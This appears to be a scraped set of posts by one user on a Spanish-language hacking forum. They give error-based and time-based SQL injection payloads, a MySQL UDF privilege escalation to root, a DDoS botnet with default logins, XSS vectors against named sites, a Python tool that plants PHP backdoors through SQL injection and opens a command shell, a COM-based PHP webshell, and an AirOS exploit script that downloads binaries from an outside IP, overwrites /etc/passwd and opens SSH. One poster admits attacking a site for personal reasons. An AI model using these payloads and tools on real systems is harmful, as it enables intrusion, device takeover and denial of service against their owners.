1 row in set (0.00 sec)


la funcion rand() nos generara un valor aleatorio entre 0 y 0.xxxxxx

Código: mysql
mysql> select rand();
+--------------------+
| rand()             |
+--------------------+
| 0.8679424085355759 |
+--------------------+
1 row in set (0.00 sec)


Si multiplicamos por  2 esos valores generara un resultado diferente, esta vez entre 0 y 1.xxxx

Código: mysql
mysql> select rand()*2;
+-------------------+
| rand()*2          |
+-------------------+
| 0.947171253102991 |
+-------------------+
1 row in set (0.00 sec)


Código: mysql
mysql> select rand()*2;
+--------------------+
| rand()*2           |
+--------------------+
| 1.5282018757687899 |
+--------------------+
1 row in set (0.00 sec)


floor() toma un numero flotante y lo presenta como entero, es decir si le pasamos el siguiente numero generado por rand().
Código: mysql

mysql> select floor(1.5282018757687899);
+---------------------------+
| floor(1.5282018757687899) |
+---------------------------+
|                         1 |
+---------------------------+
1 row in set (0.00 sec)


Da como resultado 1

Código: mysql
mysql> select floor(0.947171253102991);
+--------------------------+
| floor(0.947171253102991) |
+--------------------------+
|                        0 |
+--------------------------+
1 row in set (0.00 sec)


Da como resultado 0

La magia del floor(rand()*2) no se basa en que de como resultado unicamente 1 o 0, se basa en que nos provea de dos resultados diferentes y que se repitan si es posible, daria lo mismo que diera 4 o 5.


Ahora extraeremos una parte del primer vector para realizar otro analisis

select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--


Esa x al final de la subconsulta, bien podria ser cualquier letra como p,c,f,c actua como puntero del resultado de esa sentencia
y es usado por "group by" para agrupar la salida segun el resultado:


Código: mysql
mysql> select concat(version(),floor(rand()*2))x;
+-----------+
| x         |
+-----------+
| 5.5.28-11 |
+-----------+
1 row in set (0.00 sec)


Código: mysql
mysql> select concat(version(),floor(rand()*2))x;
+-----------+
| x         |
+-----------+
| 5.5.28-10 |
+-----------+
1 row in set (0.00 sec)


Entonces seria los mismo realizarla asi.

Código: mysql
mysql> select count(*) from information_schema.tables group by concat(user(),floor(rand()*2));
ERROR 1062 (23000): Duplicate entry 'root@localhost0' for key 'group_key'


Pero si intentamos tirar este vector por el parametro "id" seguiremos obteniendo el mensaje "The used SELECT statements have a different number of columns" ya que requerimos de dos consultas por que el id hace referencia a ese numero como ya lo vimos en el codigo del script.

Bien hasta esta linea ya hemos entendido varios puntos claves en el funcionamiento del vector y vamos comprendiendo paso a paso el porque...

Segun las pruebas floor(rand()*2) genera dos valores aleatorios "0" o "1" group by aprovecha ese dato para realizar la agrupacion, el cual es fundamental ya que utilizaremos el error de entrada duplicada de la group_key para obtener la informacion.
Sabemos hasta ahora que al repetirse los valores generados por floor(rand()*2) se produce el "duplicate entry" en la group_key, por lo tanto nos tirar el valor que se duplica.

Si lo hicieramos sin user() obtendriamos.
Código: mysql

mysql> select count(*) from information_schema.tables group by floor(rand()*2);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'


Pero para obtener el nombre de usuario, la funcion user() se concatena con floor(rand()*2) para que sea disparado como valor duplicado, hay es donde toma protagonismo la subquery!.

Ejecutemos ahora el vector completo.

Código: mysql
mysql> select count(*),concat(user(),floor(rand()*2))z from information_schema.tables group by z;
+----------+-----------------+
| count(*) | z               |
+----------+-----------------+
|      123 | root@localhost0 | -> floor(rand()*2)=0
|       75 | root@localhost1 | -> floor(rand()*2)=1
+----------+-----------------+
2 rows in set (0.00 sec)


Vemos que cuando no tira el error, ordena en dos grupos la cantidad de registros en la tabla (tables) obtenidos por count(*), si la tabla tuviera un solo registro seria imposible reproducir la entrada duplicada, se podria usar cualquier otra tabla ademas de tables.

Y una vez que el valor del orden del grupo se repite, BAM!



Espero que se haya comprendido, esta fue la manera mediante la cual logre asimilarlo realmente, realizando analisis en el mismo servidor, cualquier consulta, duda o error comenten! saludos!
#22
Una linda manera de elevar privilegios en un sistema comprometido es aprovechando los permisos con los que corren ciertos demonios en el sistema como el servidor mysql.
Hay dos formas de añadir funciones a Mysql y una de ellas es a travez de la interface UDF (funciones definidas por el usuario) para esto habra que contar con la libreria necesaria apartir de la cual seran llamadas. Teniendo los privilegios necesarios podremos crear ciertas funciones como sys_eval() la cual nos permitiran ejecutar comandos como usuario root desde la propia db.

Ante todo debemos asegurarnos de que la base de datos corre con superprivilegios, miremos el fichero de configuracion en /etc/mysql/my.cnf


Código: text
# * Basic Settings
#
user = root
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
port = 3306
basedir = /usr
datadir = /var/lib/mysql
tmpdir = /tmp
language = /usr/share/mysql/english



Descargamos la libreria lib_mysqludf_sys.so dentro del directorio /tmp

Código: bash
wget https://github.com/mysqludf/lib_mysqludf_sys/raw/master/lib_mysqludf_sys.so


Conectamos con las credenciales obtenidas a la base de datos

Código: bash
mysql -u "user" -p"password" database


Creamos la table code

Código: mysql
CREATE TABLE code (codigo blob);


Presten atencion al tipo de campo "blob" este sirve para almacenar datos binarios entre otros, esto hara que al momento de volcar el fichero no se produzca un cambio de ciertos caracteres que puedan llegar a generar un error cuando la libreria sea llamada.

Insertaremos la libreria en la tabla code

Código: mysql
INSERT INTO code VALUES(load_file('/tmp/lib_mysqludf_sys.so'));


Dumpeamos los datos en /usr/lib/mysql/plugin/ que es el directorio desde donde el servidor cargara las librerias.

Código: mysql
SELECT * FROM code INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';


Por ultimo creamos la funcion sys_eval()


Código: mysql
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';



Llamamos a  dicha funcion


Código: mysql
select sys_eval('id');
+-----------------------------------------+
| sys_eval('id')                          |
+-----------------------------------------+
| uid=0(root) gid=0(root) groups=0(root)
|
+-----------------------------------------+




Les dejo un video demostrativo que realize en un entorno controlado



#23
La Raven Botnet es una sencilla herramienta para realizar ataques DDOS utilizando nada mas y nada menos que servidores zombies.

El ataque se basa en una inundacion de paquetes UDP enviados a puertos aleatorios  que consumen la memoria al igual que el ancho de banda del objetivo.


El bot se encuentra programado en php y una vez extraida la tool, puede ser encontrado con el nombre de "raven.php".

El mismo debera ser alojado en el host que se desea utilizar para realizar el ataque.

Una vez montada (instrucciones en el video de abajo) nos loguearemos con los siguientes datos por defecto.


User: q3rv0

Pass: ravenbot






Al momento de agregar los bots en el panel, solo tendremos que respetar el siguiente formato.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ejmplo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

sin olvidar el www.








Posteriormente rellenar los campos que seran utilizados para enviar las instrucciones de ataque a nuestros bots (target, tiempo que durara el ataque medido en segundos).

Por ultimo le damos a ATTACK! y la botnet comenzara a hacer su trabajo.

La tool puede ser descargada desde aqui No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#24
La idea de crear la ShellSave surge de la propia necesidad de contener de forma ordenada nuestra lista de backdoors web y evitar agendarlos en archivos de texto  lo cuál es poco comodo a la hora de realizar  una busqueda.
La ShellSave se encarga de ordenarlos de una manera prolija, trabajando mano a mano con una db y obteniendo datos a travez de la url pasada, tales como: ip, nombre del host y  geolocalizacion del mismo.





Incluyendo a travez de un iframe la webshell selecciónada.





Como ven se trata de una herramienta super sencilla pero que a la vez resulta de gran utilidad tras la post explotación de uno o varios objetivos.



El proceso de instalación es simple.


- Crear una base de datos e importar el archivo sql  que se encuentra en el directorio bd

- Editar el fichero config.php con los datos correspondientes

- Loguearse dentro de la ShellSave con el password por defecto "test"

- Agendar nuestras webshells.


La tool puede ser descargada desde No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Aprovecho el momento para darle las gracias a Antrax y Hd_Breaker por contribuir con el proyecto y darme una gran mano.
#25
Hacking ShowOff / XSS Reflected Zone-h
Febrero 22, 2013, 11:56:54 PM



Al notificar una url con un fichero que contenga contenido javascript, el siguiente es cargado a travez de un iframe en el mirror y produce la ejecucion del alert .

Hd_breaker me dio la idea, el sabe por que jeje
#26




Vector: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#27
Python / Door-Injected
Febrero 11, 2013, 10:51:18 PM
Les dejo un pequeño script  que programe en python, sirve para atuomatizar el proceso de inyeccion de codigo a travez una mysqli cuando contamos con un usuario que posee privilegios de FILE en la db, por el momento solo trabaja con inyecciones UNION,  se le puede pasar un fichero como entrada para que dicha herramienta comienze a realizar el proceso en cada path buscando una ruta con permisos de escritura, tendremos que generar nuestro propio payload como asi mismo indicar la columna a utilizar para lograr ingresar el backdoor, con respecto a su uso y funcionalidad pueden mirar el video a continuacion. La tool se encuentra en fase beta, por lo que proximamente se le agregaran mas opciones asi como otras tecnicas de inyeccion.

Código: python
#!/usr/bin/env python

# Door-Injected
# Developed by [Q]3rV[0]


import httplib, sys, os, time, urllib2, urllib, random

banner="""
________                                  .___            __               __             .___
\______ \   ____   ___________            |   | ____     |__| ____   _____/  |_  ____   __| _/
|    |  \ /  _ \ /  _ \_  __ \   ______  |   |/    \    |  |/ __ \_/ ___\   __\/ __ \ / __ |
|    `   (  <_> |  <_> )  | \/  /_____/  |   |   |  \   |  \  ___/\  \___|  | \  ___// /_/ |
/_______  /\____/ \____/|__|              |___|___|  /\__|  |\___  >\___  >__|  \___  >____ |
        \/                                         \/\______|    \/     \/          \/     \/

- Door-Injected V1.0 Beta
- Autor:[Q]3rV[0]
- Mail:a.denegado[0x40]gmail[0x2e]com                     
- Blog:http://underterminal.nixiweb.com
- Saludos: Underc0de TEAM """

if sys.platform=="linux" or sys.platform=="linux2":
    os.system('clear')
else:
    os.system('cls')

if len(sys.argv)!=3:
    print banner
    print "\n[*] Modo de uso: "+sys.argv[0]+" <host> <fichero>"
    sys.exit(1)


def connect(host):
    return httplib.HTTPConnection(host)
   
def inyect(host, name):
    fichero=open(sys.argv[2], "r")
    for ruta in fichero:
        ruta=ruta.replace("\n", "")
        connect(host).request("GET", "/"+path+"%20"+vector+"%20into%20outfile%20%27"+directorio+ruta+name+"%27--")


def buscar(host, name):
    fichero=open(sys.argv[2], "r")
    for ruta in fichero:
        ruta=ruta.replace("\n", "")
        search=connect(host)
        search.request("GET", ruta+name)
        respuesta=search.getresponse()
        if respuesta.status==200:
            print "\n[*] Door-Injected in ------> http://"+host+ruta+name
        else:
            print "\n[X] "+ruta+" ------> Imposible escribir!"
           


def command(shell):
    agent={"User-Agent": "Door-Injected"}
    metodo=raw_input("\n[*] Metodo [get/post]:")
    parametro=raw_input("\n[*] Ingrese el parametro:")   
    if metodo=="get":
        while 1:
            command=raw_input("\n[*] Door@Injected-$ ")
            data=urllib.urlencode({parametro: command})
            cabeceras=urllib2.Request(shell+"?"+data, headers=agent)
            print urllib2.urlopen(cabeceras).read()
    elif metodo=="post":
        while 1:
            command=raw_input("\n[*] Door@Injected-$ ")
            cabeceras=urllib2.Request(shell, data, headers=agent)
            print urllib2.urlopen(cabeceras).read()
    else:
        print "[ABORT]"
        sys.exit(1)

try:
    print banner
    target=sys.argv[1]
    path=target.replace("http://", "").split('/',1)[1]
    host=target.replace("http://", "").split('/')[0]
    directorio=raw_input("\n[*] Path Web: ")
    vector=raw_input("\n[*] /"+path+" ")
    vector=vector.replace(" ", "%20")
    name="DoorI"+str(random.randint(1,1000))+".php"
    print "\n[*] Inyectando en paths..."
    time.sleep(2)
    inyect(host, name)
    print "\n[*] Comprobando shell dump..."
    time.sleep(2)
    print "\n+-------------------------------------------------------------------------------------+"
    buscar(host, name)
    print "\n+-------------------------------------------------------------------------------------+"
    opcion=raw_input("\n[*] Desea ejecutar la shell ahora? [y/n]:")
    if opcion=="y":
        shell=raw_input("\n[*] Ingrese la ruta de la shell:")
        command(shell)
    elif opcion=="n":
        sys.exit(1)
    else:
        print "[ABORT]"
        sys.exit(1)
except(KeyboardInterrupt,SystemExit):
    pass
       
   
   





#28
Cursos, manuales y libros / Backtrack 5 cookboock
Febrero 01, 2013, 01:36:17 AM


Buscando, buscando...me cruzo con una descarga free de este excelente libro publicado en diciembre del 2012, hace un año y un poquito mas. A continuacion les muesto el temario para que indaguen el contenido antes de darle click a la descarga...

Chapter 1: Up and Running with BackTrack
Introduction
Installing BackTrack to a hard disk drive
Installing BackTrack to a USB drive with persistent memory
Installing BackTrack on VirtualBox
Installing BackTrack using VMware Tools
Fixing the splash screen
Changing the root password
Starting network services
Setting up the wireless network

Chapter 2: Customizing BackTrack
Introduction
Preparing kernel headers
Installing Broadcom drivers
Installing and configuring ATI video card drivers
Installing and configuring NVIDIA video card drivers
Applying updates and configuring extra security tools
Setting up ProxyChains
Directory encryption

Chapter 3: Information Gathering
Introduction
Service enumeration
Determining the network range
Identifying active machines
Finding open ports
Operating system fingerprinting
Service fingerprinting
Threat assessment with Maltego
Mapping the network

Chapter 4: Vulnerability Identification
Introduction
Installing, configuring, and starting Nessus
Nessus – finding local vulnerabilities
Nessus – finding network vulnerabilities
Nessus – finding Linux-specific vulnerabilities
Nessus – finding Windows-specific vulnerabilities
Installing, configuring, and starting OpenVAS
OpenVAS – finding local vulnerabilities
OpenVAS – finding network vulnerabilities
OpenVAS – finding Linux-specific vulnerabilities
OpenVAS – finding Windows-specific vulnerabilities

Chapter 5: Exploitation
Introduction
Implementing exploits from BackTrack
Installing and configuring Metasploitable
Mastering Armitage – the graphical management tool for Metasploit
Mastering the Metasploit Console (MSFCONSOLE)
Mastering the Metasploit CLI (MSFCLI)
Mastering Meterpreter
Metasploitable MySQL
Metasploitable PostgreSQL
Metasploitable Tomcat
Metasploitable PDF
Implementing the browser_autopwn module

Chapter 6: Privilege Escalation
Introduction
Using impersonation tokens
Local privilege escalation attack
Mastering the Social-Engineer Toolkit (SET)
Collecting victims' data
Cleaning up the tracks
Creating a persistent backdoor
Man-in-the-middle attack (MITM)

Chapter 7: Wireless Network Analysis
Introduction
Cracking a WEP wireless network
Cracking a WPA/WPA2 wireless network
Automating wireless network cracking
Accessing clients using a fake AP
URL traffic manipulation
Port redirection
Sniffing network traffic
Accessing an e-mail by stealing cookies

Chapter 8: Voice over IP (VoIP)
Introduction
Using Svmap
Finding valid extensions
Monitoring, capturing, and eavesdropping on VoIP traffic
Using VoIPong
Mastering UCSniff
Mastering Xplico
Capturing SIP authentication
Mastering VoIP Hopper
Causing a denial of service
Attacking VoIP using Metasploit
Sniffing DECT phones

Chapter 9: Password Cracking
Introduction
Online password attacks
Cracking HTTP passwords
Gaining router access
Password profiling
Cracking a Windows password using John the Ripper
Using dictionary attacks
Using rainbow tables
Using NVIDIA Compute Unified Device Architecture (CUDA)
Using ATI Stream
Physical access attacks

Chapter 10: BackTrack Forensics
Introduction
Intrusion detection and log analysis
Recursive directory encryption/decryption
Scanning for signs of rootkits
Recovering data from a problematic source
Retrieving a Windows password
Resetting a Windows password
Looking at the Windows registry entries

Disfruten!...

Descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#29



Url del sitio: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Vectores:
- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"><script>alert(/XSS/)</script>
- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"><script>alert(/XSS/)</script>&to=01/02/2013

Autor: [Q]3rV[0]

Reportado: SI
#30
Hacking ShowOff / XSS reflected tumblr.com
Enero 21, 2013, 01:41:36 AM


Url : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Vector: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"><h1 onclick=alert("[q]3rv[0]")>underc0de - team>

Autor:[Q]3rV[0]

Reportado:SI
#31
Hacking ShowOff / XSS Reflected arba.gov.ar
Enero 17, 2013, 09:19:37 AM
#32
Diseño UX/UI / [Pedido] Banner Undec0de Wargames
Enero 14, 2013, 04:58:01 PM
El titulo lo dice, presiso un banner para representar a los wargames de underc0de, si alguien se ofrece a hacerlo se le agradece, por medidas y diseño enviarme un mp.
#33
Escribo este mini post, para hablar sobre el tema de evacion de ejecucion de comandos en servidores Windows, es que hace poquito subi una webshell a un Windows NT, y me encontre con las siguientes funciones denegadas:

system
shell
exec
system_exec
shell_exec
mysql_pconnect
passthru
popen
proc_open
proc_close
proc_nice
proc_terminate
proc_get_status
escapeshellarg
escapeshellcmd




Ademas recorde que el usuario Abnormality tenia el mismo problema asi que por que no aclararlas en este escrito, ademas de hablar un poco sobre las maneras que pueden haber para saltearnos esta restriccion que el administrador impuso dentro del php.ini, en mi caso me tope con un server que corre dos tecnologias web como lo son PHP y ASP, otras cosas a tener en cuenta pegandole una ojeada a la imagen son las siguientes:

-Base de datos MSSQL corriendo en local.

-Lenguaje Perl activo

-ASP


-De ahora en mas ya tenemos dos maneras posibles de ejecutar comnados en el servidor, una es utlizando alguna webshell en perl, como por ejemplo la tan conocida "CGI telnet", pero ademas de incluir un .htaccess que nos agregue la extencion .pl dentro del modulo del servidor, vamos a tener que modificar la ruta #!/usr/bin/perl por el path en el que se encuentra instalado perl, por defecto esta es #!C:\Program Files\perl\perl.exe pero podria estar instalado en otra hubicacion, para eso podriamos buscar la existencia de algun perlinfo.cgi el cual es un fichero que guarda informacion de perl similar a info.php, hay podriamos buscar el path del mismo.

- Otra manera seria ingresando a la base de datos MSSQL con privilegios de SA y ejecutar comandos mediante la funcion XP_CMDSHELL, esto lo podriamos hacer indagando en los scripts *.asp (formularios de autentificacion) de los demas dominios que conviven en el servidor, ya que no se me impedia moverme libremente por el mismo y leer ficheros dentro de lo que son los directorios web. Obviamente se debe a una mala configuracion de los permisos.

- Tambien podemos subir un shell en ASP.



Y por ultimo llegamos al uso de COM en php, 

Basicamente y sin dar muchas vueltas COM permite interactuar con las aplicaciones de windows,  fue desarrlollado para trabjar con POO (programacion orientada a objetos) y esta compuesto por objetos como No tienes permitido ver los links. Registrarse o Entrar a mi cuenta el cual permite interactuar con programas como el regedit, acceso a los directorios del sistema, entre otras tareas.

De esta manera investigando a pleno me encuentro con el siguiente script programado por hadi-kiamarsi en php:

Código: php
<?php

error_reporting(E_ALL);

if (isset($_GET['hk']) and !empty($_GET['hk']))
{
    $nuevo=new COM('WScript.Shell') or die('Unable to Load Activex'); //se crea el objeto WScript.Shell
    $salida=$nuevo->exec($_GET['hk']); //variable de entrada para ejecucion de comandos a travez de WScript mediante exec()
    echo "<pre>";
    echo $salida->stdout->readall; // obtencion de datos mediante stdout->readall
    echo "</pre>";
}
?>



El cual me premitio cumplir con mi objetivo en el servidor, lo comente un poco para que se entienda aunque es bastante sencillo e intuitivo.



Saludos y espero que hayan aprendido algo nuevo, por mi parte me alegro de cada dia aparezcan nuevos desafios para seguir dandole para adelante con el conocimiento y la curiosidad!
#34
Bugs y Exploits / Blind Mysqli Time Based [Teoria]
Diciembre 21, 2012, 10:45:57 PM
Mientras "auditaba" una web, lo digo entre comillas por que no me dedico a eso en lo laboral, mas bien me encontraba tratando de ingresar a un sitio por cuestiones personales, me encontre con una variante de inyeccion sql dando por descartado las demas a travez de las respuestas que generaba el servidor, una "Blind mysqli basada en tiempo", paso a explicar a quienes no se encuntren familiarizados con este tipo de inyeccion.
Basicamente una "Blind mysqli basada en tiempo" se trata de inyectar a ciegas como toda blind, en mi caso utilizando la tecnica de busqueda binaria (la mas comunmente utilizada en estas situaciones) pero se da cuando la aplicacion muestra el mismo mensaje TRUE OR FALSE, es decir que da los mismo inyectar un OR 1=1 que un OR 2+5/87=9999999999 el sitio web nos seguira mostrando el mismo mensaje de error, o puede deberse a realizar una carga incorrecta del contenido web, o cualquier otra desvariacion en el sitio, da lo mismo la aplicacion resulta vulnerable pero no podremos deducir cual es la inyeccion correcta.
Para estas situaciones, podemos hacer uso de la funcion sleep() y la estructura condicional if(), ahora paso a explicar la sintaxis de cada una de estas.

La sintaxis de if es la siguiente:

if(<condicion>,<si la condicion se cumple>,<si la condicion no se cumple>)

Por ejemplo:

Código: php

mysql> select if(1=1, 'Verdadero es igual!', 'Falso no es igual!');
+------------------------------------------------------+
| if(1=1, 'Verdadero es igual!', 'Falso no es igual!') |
+------------------------------------------------------+
| Verdadero es igual!                                  |
+------------------------------------------------------+
1 row in set (0.00 sec)


sleep() se utiliza para producir una pausa de tantos segundos, vamos a combinarlo con if() e imponerlo si la condicion no se cumple.
Código: php

mysql> select if(1='q3rv0', 'Verdadero es igual!', sleep(3));
+------------------------------------------------+
| if(1='q3rv0', 'Verdadero es igual!', sleep(3)) |
+------------------------------------------------+
| 0                                              |
+------------------------------------------------+
1 row in set, 1 warning (3.00 sec)



Como vemos la condicion dio como resultado falsa y se le introdujo un retardo de 3 seg ante dicha respuesta.

ahora se pueden imaginar el resultado del vector al combinar ambas funciones con una blind sqli??

No se trata de nada rebuscado, solo hay que utilizar como condicion el vector sqli para dicha inyeccion por ejemplo:

Empezemos desde cero, supongamos que encontraron una web vulnerable que da con el perfil de este tipo de inyeccion y queremos verificar que en realidad se trata de esta, comenzariamos por introcir el siguiente vector en el parametro devil.
Código: php

http://vuln-bsqli-based-time/?devil=5 or 1=if(1=1,sleep(5),0)--   > 5 segundos(TRUE)

http://vuln-bsqli-based-time/?devil=5 or 1=if(1=9999,sleep(5),0)--  > FALSE


Ahora ya nos damos una idea de como inyectar en la aplicacion comenzando por obtener el listado de las tablas en la base de datos, normalmente en una blind sqli seria de la siguiente manera:

Código: php
http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>15-- TRUE

http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>50-- TRUE

http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>100-- FALSE

http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>68-- FALSE

http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=67-- TRUE


Veamos como queda armado el vector haciendo uso de nuestro amigo "el tiempo":


Código: php
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>15,sleep(5),0)-- TRUE 5 segundos

http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>50,sleep(5),0)-- TRUE 5 segundos

http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>100,sleep(5),0)-- FALSE

http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>68,sleep(5),0)-- FALSE

http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=67,sleep(5),0)-- TRUE 5 segundos


Sencillo, lo unico que tiene de rebuscado esta tecnica es mantener la pasciencia mienstras se lleva a cabo la inyeccion manualmente.

Besitos!
           

[Q]3rV[0]   

#35
Bugs y Exploits / SQLI+Bypass Mod_Security
Diciembre 08, 2012, 12:48:34 AM
Indagando en busca de vulnerabilidades, me cruzo con un input vulnerable a SQLI el cual esta siendo filtrado por un WAF, posiblemente Mod_security, bastante mal configurado, en el video se puede ver como realize una una simple evacion de este a travez de /*!*/ y funciones como unhex(), hex() espero que lo disfruten...saludos!!


Video:
#36
Articulo que escribio mi amigo Nineain, despues de amagar varias veces con hacerlo, por fin se digno ese vago a teclear un par de lineas:P.
Por supuesto que la vulnerabilidad es vieja!, seguro mas de uno anduvo jugando con algun que otro AirOs vuln, pero lo que no se explico, mas alla de como realizar la debida explotacion del bug a travez de una peticion de url forzada, fue la post explotacion de los mismos y una leve introduccion  a la arquitectura del O.S de los dispositivos.

Se los de dejo para que le echen una ojeada.







En Diciembre del 2011, sd de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta liberó un 0day que afectaba a los sistemas AirOS (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) el cual fue parcheado aunque, como suele ser costumbre, no todos los sistemas han sido actualizados.

No quiero entrar en debate de si los responsables son los usuarios, o el desarrollador, simplemente expongo el tema.

Todo esto y algo más, fue reportado a Ubiquiti, los cuales al principio agradecieron la aportación, pero en el segundo contacto pasaron del tema y ni siquiera contestaron. Consideramos que ha pasado el suficiente tiempo como para publicar la información.

Todas las pruebas han sido realizadas en dispositivos propios, en ningún momento en ajenos. Este aporte es meramente informativo, y no me responsabilizo del mal uso que se le pueda dar a esta información.

Me gustaria agradecer por su inestimable trabajo a PunkiD y MARCOSCARS02.

Voy a comenzar con algunos conceptos básicos necesarios para entender el reporte:

¿Qué es un AirOS y que 0day es este?

AirOS es un sistema operativo avanzado, creado por Ubiquiti, capaz de manejar un sistema Wireless, enrutamiento y mínimas características ips y seguridad. Un sistema operativo para routers que busca la sencillez y la facilidad, siendo muy intuitivo, mas información en: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Hablemos un poco del hardware. Las CPU's de los sistemas AirOS son procesadores mips (Microprocessor without Interlocked Pipeline Stages). Es una arquitectura que consume muy pocos recursos y tiene una funcionalidad aceptable. Al ser de arquitectura distinta a la de los PC's convencionales (generalmente de 32 o 64 bits), si queremos compilar algo para mips, necesitamos recurrir a la crosscompilación, es decir, compilar un programa/servicio para una arquitectura distinta a la máquina en la que estamos trabajando. Tras muchas pruebas, recurrimos a Buildroot, una utilidad de uclib que permite desde compilar el toolchain hasta herramientas típicas y básicas, una imagen de sistema, etc.

El 0day afectaba al archivo admin.cgi, el cual es capaz de mostrar el panel "Device Administration Utility" que contiene:

        Un Uploader.
        Un Chmod.
        Un Downloader.
        Una Shell.

Imágen del panel login:




Imágen del panel de administración:



Explotación

El usuario y la contraseña por defecto de los AirOS son:
    Usuario: ubnt
    Contraseña: ubnt

Se recomienda usar Shodan para la búsqueda de dispositivos AirOS, pero este tipo de búsquedas dejan escapar muchos dispositivos. Actualmente trabajamos en un scanner por rangos de IP para localizar todos.

Se puede observar que el error consiste en cambiar la url de una petición de login al cgi; /login.cgi/uri=/ por /admin.cgi/$vuln .
Siendo $vuln cualquiera de los sientes: *.ico *.gif, *.jpg, *.js, *.css, airview.jar.pack.gz, airview_manager.jnlp, airview.jnlp, airview.uavr.
Por ejemplo: http://IPairos/admin.cgi/lol.css
De esta forma conseguimos el panel de administración, para muchos el fin, pero esto es solo el principio.

Postexplotación

El sistema operativo que lleva montado, por defecto solo tiene permisos de lectura en la mayoría de los directorios del dispositivo. Pero en /etc hay permisos de escritura, así pues tenemos un /etc/persistent/ a modo de home en el dispositivo. Lo primero es tener consola root en el dispositivo, para poder tener el control total. A través del panel subimos y ejecutamos dropbear mas su respectiva key crosscompilados.

De esta forma ya hemos conseguido ssh. A partir de aquí, vuestra imaginación es lo importante, para ver el potencial de estos dispositivos.
Tras tener funcionales todos los binarios, tenemos un "miniserver" externo:



Tenemos un pequeño directorio con un puñado de binarios ya crosscompilados y listos para AirOS disponible en:

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Y empaquetado en .tar:

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Incluso podríamos incluir algunos más como ngircd (Un pequeño servidor IRC), o lo que se nos ocurra.

A continuación, vamos a pasar a automatizar estas tareas. Obviamente no puedo publicar más que un par de lineas para deja la imaginación flotar con bash y curl:

Código: bash
runcmd() { curl -L -H 'Expect: ' -F 'action=cli' -F "exec={ $SYS2$@; } 2>&1" $host/admin.cgi/lol.css 2>/dev/null | grep 'Execute!'  -A 99999 | tail -n +5 | tac | tail -n +7 | tac; }



Aplicaciones

Algunas de las cosas que se pueden hacer con estos dispositivos son:

        Encadenar AirOS a modo de proxys (SSH Tunneling).
        Shells de IRC.
        Bots.
        Servidor IRC.
        Servidor Web/ftp/etc
        Y muchas otras que podais imaginar.

Automatización del proceso

Pasemos a automatizar todo el proceso anterior. Para ello utilizaremos el airosh de la siguiente manera:
Código: bash

./airosh IPairos


El script se ejecutará y automáticamente comprobará si el dispositivo es vulnerable. Si es así, procederá a subir Dropbear, y a cambiar las claves de acceso, con contraseña:lol. De esta forma, habremos conseguido el acceso al dispositivo como administrador.



CODIGO: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: bash
#!/bin/bash

host=$1
portlocal=$2
hostfinal=$3
portfinal=$4
unset c
usage() {
        # ./airosh IP
        exit 1
}
[[ -z "$host" ]] && c=1
[[ -z "$portlocal" ]] && c=2
[[ -z "$hostfinal" ]] && c=2
[[ -z "$portfinal" ]] && c=2

if [[ $c = 1 ]]; then
        echo "FAILED!"
        usage
else
        echo "OK"
fi
runcmd() { curl -L -H 'Expect: ' -F 'action=cli' -F "exec={ $SYS2$@; } 2>&1" $host/admin.cgi/lol.css 2>/dev/null | grep 'Execute!'  -A 99999 | tail -n +5 | tac | tail -n +7 | tac; }

runcmd 'cd /var/persistent;wget -q http://5.175.223.63/dropbearkey;wget -q http://5.175.223.63/dropbear;chmod +x dropbearkey dropbear;'  >>/tmp/airos.log

runcmd "[[ -e /var/sshd/lol.rsa ]] || ./dropbearkey -t rsa -f /var/sshd/lol.rsa" >>/tmp/airos.log

runcmd "./dropbear -b /var/sshd/motd -r /var/sshd/lol.rsa;" >>/tmp/airos.log

runcmd 'sed -i -e "s/:[^:]*:/:$1$.et5JTtj$6U9j6CSf7g3lNfhFenOX11:/" /etc/passwd;cat /etc/passwd'

echo -en "| >>user: "
read usr
[[ -z "$usr" ]] && usr=admin

if [[ "$c" = 2 ]]; then
        ssh -C "$usr@$host"
else
        ssh -g -L "0.0.0.0:$portlocal:$hostfinal:$portfinal" "$usr@$host"
fi
</pre>


                                                                                                                                            Besos, Nineain

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#37
